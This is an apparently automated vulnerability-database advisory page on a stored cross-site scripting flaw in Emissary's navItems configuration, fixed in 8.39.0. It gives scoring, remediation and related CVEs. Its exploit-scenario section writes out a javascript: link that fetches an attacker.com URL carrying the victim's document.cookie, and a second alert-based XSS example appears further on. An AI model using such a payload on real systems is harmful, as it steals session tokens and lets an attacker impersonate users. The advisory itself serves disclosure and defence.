Skip to main content

Emissary EUVDEUVD-2026-19724

| CVE-2026-35571 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-07 GitHub_M GHSA-cpm7-cfpx-3hvp
4.8
CVSS 3.1 · Vendor: GitHub_M
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This vulnerability presents moderate real-world risk despite the CVSS score of 4.8. The attack vector is network-based with low complexity, but mitigation is provided by two critical constraints: (1) attacker requires high-privilege administrative credentials (PR:H), and (2) exploitation requires user interaction (UI:R-a victim must click or interact with the malicious link). CVSS correctly assesses limited impact (Confidentiality:Low, Integrity:Low, Availability:None) since XSS can exfiltrate session tokens or perform actions on behalf of the victim but cannot directly compromise system availability or gain elevated access beyond what the victim already has. The stored nature of the XSS (persisted in configuration) means all subsequent users remain vulnerable until the configuration is remediated. Risk priority depends on organizational trust model: if administrators are assumed trustworthy, this is lower priority; if insider threats are a concern, this warrants immediate patching. No KEV status or public exploit code is indicated, reducing immediate exploitation pressure.

Exploit ScenarioDerived

An insider administrator with legitimate access to modify Emissary's navItems configuration injects a malicious entry such as {"label": "Help", "href": "javascript:fetch('https://attacker.com/steal?cookie=' + document.cookie)"}. When other authenticated analysts or operators view the Emissary dashboard and hover over or click the Help link, their browser executes the JavaScript payload in the application's origin, exfiltrating their session cookies to an attacker-controlled server. The attacker can then replay the stolen session tokens to impersonate the victim. No public exploit code is currently identified, and exploitation requires both administrative privilege and user interaction, limiting automated attack scenarios.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 07, 2026

Stored cross-site scripting in Emissary prior to 8.39.0 allows authenticated administrators to inject malicious javascript: URIs into navigation item configuration, which are then rendered unsafely in href attributes viewed by other authenticated users. The vulnerability requires high-privilege administrative access to modify navItems configuration but affects all other users accessing the web interface, with confirmed fix available in version 8.39.0.

RemediationAI

Vendor-released patch: Upgrade Emissary to version 8.39.0 or later, which includes URL scheme validation for href attributes in Mustache navigation templates. Organizations unable to upgrade immediately should audit all navItems configuration entries to remove or validate any navigation links, paying particular attention to entries containing javascript:, data:, or other non-standard URI schemes. Review access logs and authentication records to identify if any unauthorized configuration modifications occurred. Restrict administrative access to configuration systems to only trusted personnel and enable audit logging for configuration changes.

Affected VersionsENISA

emissary < 8.39.0

Affected Packages

maven gov.nsa.emissary:emissary fix: 8.39.0
euvd emissary fix: 8.39.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Emissary uses Mustache templating to render navigation items from configuration-controlled data. The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation-Cross-site Scripting) where user-supplied or configuration-controlled link values are interpolated directly into HTML href attributes without URL scheme validation. An attacker with administrative privileges can inject javascript: protocol URIs (e.g., href='javascript:alert(document.cookie)') into the navItems configuration object. When other authenticated users view the Emissary web interface, their browsers execute the injected JavaScript in the context of the application origin. The fix involves validating that href values conform to safe URL schemes (http, https) before rendering them in templates, preventing javascript: and data: protocol injection.

Know when Emissary gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 4.8 MEDIUM
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (GitHub_M) · only source for this CVE.

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch released
Apr 08, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 07, 2026 - 15:26 nvd
MEDIUM 4.8

DescriptionCVE.org

Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, Mustache navigation templates interpolated configuration-controlled link values directly into href attributes without URL scheme validation. An administrator who could modify the navItems configuration could inject javascript: URIs, enabling stored cross-site scripting (XSS) against other authenticated users viewing the Emissary web interface. This vulnerability is fixed in 8.39.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 93% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2021-32639 CRITICAL POC
9.9 Jul 02

Emissary is a P2P-based, data-driven workflow engine. Rated critical severity (CVSS 9.9), this vulnerability is remotely

CVE-2021-32647 CRITICAL POC
9.1 Jun 01

Emissary is a P2P based data-driven workflow engine. Rated critical severity (CVSS 9.1), this vulnerability is remotely

CVE-2021-32096 HIGH POC
8.8 May 07

The ConsoleAction component of U.S. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authe

CVE-2021-32093 MEDIUM POC
6.5 May 07

The ConfigFileAction component of U.S. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low

CVE-2021-32092 MEDIUM POC
6.1 May 07

A Cross-site scripting (XSS) vulnerability in the DocumentAction component of U.S. Rated medium severity (CVSS 6.1), thi

CVE-2026-35580 CRITICAL
9.1 Apr 07

Shell command injection in Emissary workflow engine below version 8.39.0 allows high-privileged attackers with repositor

CVE-2021-32094 HIGH
8.8 May 07

U.S. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch

CVE-2021-32095 HIGH
8.1 May 07

U.S. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch

CVE-2026-35581 HIGH
7.2 Apr 07

Command injection in NSA Emissary P2P workflow engine (versions prior to 8.39.0) allows authenticated remote administrat

CVE-2021-32634 HIGH
7.2 May 21

Emissary is a distributed, peer-to-peer, data-driven workflow framework. Rated high severity (CVSS 7.2), this vulnerabil

CVE-2026-35583 MEDIUM
5.3 Apr 07

Emissary versions prior to 8.39.0 allow unauthenticated remote attackers to read arbitrary configuration files through p

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy